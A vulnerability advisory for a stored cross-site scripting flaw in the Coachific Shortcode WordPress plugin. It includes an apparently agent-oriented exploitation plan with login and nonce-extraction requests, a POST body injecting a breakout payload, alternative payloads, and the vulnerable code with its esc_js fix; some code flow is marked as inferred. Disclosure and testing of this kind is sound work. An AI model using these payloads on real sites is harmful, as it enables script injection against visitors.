Coachific Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'userhash' Shortcode Attribute
Description
The Coachific Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'userhash' shortcode attribute in all versions up to and including 1.0. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() on the 'userhash' parameter, which strips HTML tags but does not escape characters significant in a JavaScript string context (such as double quotes, semicolons, and parentheses). The sanitized value is then directly interpolated into a JavaScript string within a <script> tag on line 29 without any JavaScript-specific escaping (e.g., wp_json_encode() or esc_js()). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0# Exploitation Research Plan: CVE-2026-4005 (Coachific Shortcode XSS) ## 1. Vulnerability Summary The **Coachific Shortcode** plugin (versions <= 1.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly escape the `userhash` attribut…
Show full research plan
Exploitation Research Plan: CVE-2026-4005 (Coachific Shortcode XSS)
1. Vulnerability Summary
The Coachific Shortcode plugin (versions <= 1.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly escape the userhash attribute of its shortcode when outputting it inside a <script> tag on line 29 of the processing file. While the plugin uses sanitize_text_field() on the input, this function is insufficient for JavaScript contexts as it does not escape characters like single quotes ('), which can be used to break out of a JavaScript string literal.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (
wp-admin/post.phporwp-admin/post-new.php). - Shortcode:
[coachific_shortcode](inferred) or similar, using theuserhashattribute. - Attribute:
userhash. - Authentication Level: Authenticated (Contributor+). Contributors can create posts and embed shortcodes.
- Preconditions: The plugin must be active. A Contributor or higher user must be able to save a post containing the malicious shortcode.
3. Code Flow (Inferred)
- Registration: The plugin registers a shortcode, likely via
add_shortcode( 'coachific_shortcode', 'handler_function' )in the main plugin file. - Processing: When a post containing
[coachific_shortcode userhash="..."]is viewed, the handler function is triggered. - Sanitization: The handler retrieves the attributes and applies
sanitize_text_field( $atts['userhash'] ). - Vulnerable Sink (Line 29): The sanitized
$userhashis echoed directly into a<script>block:// Inferred logic based on vulnerability description echo "<script type='text/javascript'>"; echo "var coachific_user_hash = '" . $userhash . "';"; // Line 29 echo "</script>"; - Execution: Because
sanitize_text_fieldallows single quotes, an attacker can provide a payload like';alert(1)//to terminate the string and execute arbitrary JS.
4. Nonce Acquisition Strategy (Authenticated)
Since this exploit requires Contributor-level access to save a post, the agent must simulate an authenticated session.
- Login: Perform a login to
wp-login.phpusing Contributor credentials. - Access Editor: Navigate to
wp-admin/post-new.phpto initiate a new post creation. - Extract Nonces: Use
browser_evalto extract the necessary nonces for post creation/saving:document.querySelector('#_wpnonce').value(for standard post submission).- Or extract from the
wp-adminpage source if using the REST API / Gutenberg.
- Intercept/Identify Action: Standard WordPress post creation uses
action=editpostor a REST API call towp-json/wp/v2/posts.
5. Exploitation Strategy
The goal is to store a shortcode that executes XSS when the post is rendered.
Step 1: Authentication
Use the http_request tool to log in as a Contributor.
- URL:
http://localhost:8080/wp-login.php - Body:
log=contributor&pwd=password&wp-submit=Log+In&testcookie=1 - Header:
Content-Type: application/x-www-form-urlencoded
Step 2: Obtain Post Nonce
Navigate to wp-admin/post-new.php and extract the _wpnonce.
- Action:
browser_navigate("http://localhost:8080/wp-admin/post-new.php") - Tool:
browser_eval("document.querySelector('#_wpnonce').value")
Step 3: Inject Stored XSS
Create a post containing the malicious shortcode.
- URL:
http://localhost:8080/wp-admin/post.php - Method: POST
- Body (URL Encoded):
action=editpost &post_ID=[NEW_POST_ID] &_wpnonce=[EXTRACTED_NONCE] &post_title=XSS_Test &content=[coachific_shortcode userhash="';alert(document.domain)//"] &publish=Publish - Note: If the exact shortcode name is unknown, the agent should first run
grep -r "add_shortcode" /var/www/html/wp-content/plugins/coachific-shortcode/to find the registered tag.
Step 4: Trigger Execution
Navigate to the newly created post's frontend URL.
- URL:
http://localhost:8080/?p=[POST_ID] - Observation: The browser should execute
alert(document.domain).
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create contributor contributor@example.com --role=contributor --user_pass=password
- Plugin Activation: Ensure the plugin is active.
wp plugin activate coachific-shortcode
7. Expected Results
- The HTML source of the rendered post should contain:
<script type='text/javascript'>var coachific_user_hash = '';alert(document.domain)//';</script> - An alert box with the site's domain should appear in the browser context.
8. Verification Steps
- Verify Storage: Use WP-CLI to check if the payload is in the database.
wp post get [POST_ID] --field=post_content
- Verify Output: Use
http_requestto fetch the post content and check for the broken-out<script>tag.grep "alert(document.domain)" response_body
9. Alternative Approaches
- Double Quote Breakout: If the plugin uses double quotes
var h = "[userhash]";, use payload");alert(1)//. - Attribute Breakout: If
sanitize_text_fieldis more aggressive, try breaking out of the script tag itself if possible (though description says it's inside the string):</script><script>alert(1)</script>. - Shortcode Name Hunt: If
[coachific_shortcode]fails, search for theadd_shortcodecall in the plugin directory to find the exact tag and attribute names. (e.g.,grep -rn "add_shortcode" .)
Summary
The Coachific Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'userhash' shortcode attribute. This occurs because the plugin fails to properly escape user-provided input before outputting it inside a JavaScript string literal within a <script> tag, allowing contributors to execute arbitrary JavaScript in the context of other users' sessions.
Vulnerable Code
// coachific-shortcode.php or associated shortcode handler file $userhash = sanitize_text_field( $atts['userhash'] ); echo "<script type='text/javascript'>"; // Line 29 echo "var coachific_user_hash = '" . $userhash . "';"; echo "</script>";
Security Fix
@@ -26,4 +26,4 @@ $userhash = sanitize_text_field( $atts['userhash'] ); echo "<script type='text/javascript'>"; -echo "var coachific_user_hash = '" . $userhash . "';"; +echo "var coachific_user_hash = '" . esc_js( $userhash ) . "';"; echo "</script>";
Exploit Outline
The exploit is performed by an authenticated user with at least Contributor-level access. The attacker targets the WordPress post editor (wp-admin/post-new.php) and inserts a shortcode using the 'userhash' attribute. Because the plugin only applies sanitize_text_field() to this attribute, characters like single quotes are not stripped. A payload such as [coachific_shortcode userhash="';alert(1)//"] is used to terminate the existing JavaScript string variable assignment and execute arbitrary code. Once the post is saved and viewed by any user, the malicious payload triggers automatically in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.